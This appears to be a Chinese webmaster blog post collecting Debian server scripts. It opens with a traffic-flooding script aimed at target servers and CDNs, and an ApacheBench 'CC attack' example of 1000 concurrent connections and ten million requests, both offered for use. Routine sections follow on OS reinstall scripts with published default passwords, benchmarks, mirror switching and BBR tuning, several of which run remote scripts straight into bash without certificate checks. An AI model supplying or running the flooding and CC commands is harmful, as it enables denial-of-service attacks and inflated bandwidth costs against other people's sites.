大鹏专为各位收集站长常用脚本,关于来源已经无法考证了,在此先感谢那些无私奉献的大佬,脚本命令为debian平台。持续更新。。。
一、刷服务器、cdn流量
脚本功能说明:该工具主要用于模拟真实用户行为,向目标服务器或 CDN 节点发起高并发请求,实现流量刷取功能。
脚本下载与安装
curl -Lo oss.sh https://raw.githubusercontent.com/cingjp/cingjp/master/oss.sh && chmod +x oss.sh
基础使用示例
# 交互式引导模式
bash oss.sh
# 指定链接(默认1线程)
bash oss.sh -l "https://www.baidu.com"
# 指定链接和线程数(8线程)
bash oss.sh -l "https://www.baidu.com" -t 8
# 指定链接、线程数和引用链接
bash oss.sh -l "https://www.baidu.com" -t 8 -r "https://www.baidu.com"
高级功能说明
参数详解:
-l:指定目标 URL(支持 HTTP/HTTPS)
-t:并发线程数(建议值 1-64)
-r:引用页地址(模拟真实跳转来源)
-s:安全停止脚本
-ua:自定义 User-Agent 字符串(默认随机生成)
脚本停止与清理
强制终止所有脚本进程
pkill -9 bash
安全停止当前会话
bash oss.sh -s
流量监控:
安装流量监控工具
apt update && apt install -y nload
实时监控网络流量
nload
二、CC 攻击工具集成
安装ApacheBench压力测试工具
apt update && apt install -y apache2-utils
查看工具版本
ab -V
典型攻击示例(1000并发,1亿次请求)
ab -c 1000 -n 10000000 https://xx.com/
最强DD一键重装系统脚本
独立服务器DD系统的定义与原理
DD是“Disk Dump”的缩写, 简单几步通过DD安装其它系统,当服务器的web控制台没有我们要装的系统,就需要通过DD(Linux磁盘)工具来更改系统,(已知支持KVM系统)。
脚本下载
apt update -y
apt install wget -y
#国际线路
wget --no-check-certificate -qO InstallNET.sh 'https://raw.githubusercontent.com/leitbogioro/Tools/master/Linux_reinstall/InstallNET.sh' && chmod a+x InstallNET.sh
#国外线路
wget --no-check-certificate -qO InstallNET.sh 'https://gitee.com/mb9e8j2/Tools/raw/master/Linux_reinstall/InstallNET.sh' && chmod a+x InstallNET.sh
安装系统
wget --no-check-certificate -qO InstallNET.sh 'https://raw.githubusercontent.com/leitbogioro/Tools/master/Linux_reinstall/InstallNET.sh' && chmod a+x InstallNET.sh && bash InstallNET.sh -debian 12 -pwd 'password'
支持系统
Debian 7 及更高版本:
-debian 7-12
Ubuntu 20.04 及以上版本(测试中,不稳定,不要在生产环境中安装!):
bash InstallNET.sh -ubuntu 20.04/22.04/24.04
CentOS 7 及以上:
bash InstallNET.sh -centos 7-9-stream
Windows系统:
bash InstallNET.sh – Windows 10/11/2012/2016/2019/2022
Kali Rolling,Development and Experimental,“Kali Rolling”显然是最推荐的:
-Kali Rolling/dev/experimental
Alpine Linux 3.16 及更高版本,为了不断更新到最新版本,显然最推荐使用“edge”:
bash InstallNET.sh -alpine 3.16-3.18/edge
AlmaLinux 8 及更高版本:
bash InstallNET.sh -almalinux/alma 8/9
RockyLinux 8 及更高版本:
bash InstallNET.sh -rockylinux/rocky 8/9
Fedora 38 及更高版本:
bash InstallNET.sh -fedora 38/39
其它命令配置
-port ’22’:可以预先指定系统的 ssh 端口,范围是 1~65535,此选项对安装 Windows 无效,默认’22’。
-pwd ‘123456’:设置密码
-hostname ”:您可以为新安装的Linux系统预先指定主机名。
-dd/–image ‘DD image from a valid url’:此参数适用于KVM或XEN虚拟化平台中的dd模式。此选项适用于 “Overwrite Packaged Image Mode”。
bash InstallNET.sh -dd ‘DD image download URL’:指定网盘下载系统。
默认用户名
对于 Linux:root
对于Windows:Administrator
默认密码
对于 Linux:LeitboGi0ro
对于 Windows:Teddysun.com
其它dd作者脚本,站长暂未验证
萌咖大佬的脚本
bash <(wget --no-check-certificate -qO- 'https://raw.githubusercontent.com/MoeClub/Note/master/InstallNET.sh') -d 11 -v 64 -p 密码 -port 端口 -a -firmware
beta.gs大佬的脚本
wget --no-check-certificate -O NewReinstall.sh https://raw.githubusercontent.com/fcurrk/reinstall/master/NewReinstall.sh && chmod a+x NewReinstall.sh && bash NewReinstall.sh
服务器测速(网络、性能)脚本
融合怪
bash <(wget -qO- --no-check-certificate https://gitlab.com/spiritysdx/za/-/raw/main/ecs.sh)
一键换源
GNU/Linux环境
bash <(curl -sSL https://linuxmirrors.cn/main.sh)
Docker环境
bash <(curl -sSL https://linuxmirrors.cn/docker.sh)
开启BBR
修改sysctl.conf
default_qdisc=cake适用于网站平稳加速
echo "net.core.default_qdisc=cake" >> /etc/sysctl.conf
echo "net.ipv4.tcp_congestion_control=bbr" >> /etc/sysctl.conf
default_qdisc=fq适用于大文件下载加速
echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf
echo "net.ipv4.tcp_congestion_control=bbr" >> /etc/sysctl.conf
加载生效(可不重启系统)
sysctl -p
查看算法
sysctl net.ipv4.tcp_available_congestion_control
查询生效
lsmod | grep bbr
宝塔一键挂载硬盘脚本
wget -O auto_disk.sh http://download.bt.cn/tools/auto_disk.sh && bash auto_disk.sh
NodeHatch开小鸡
wget -O install.sh https://docs.nodehatch.com/install.sh && chmod u+x install.sh && ./install.sh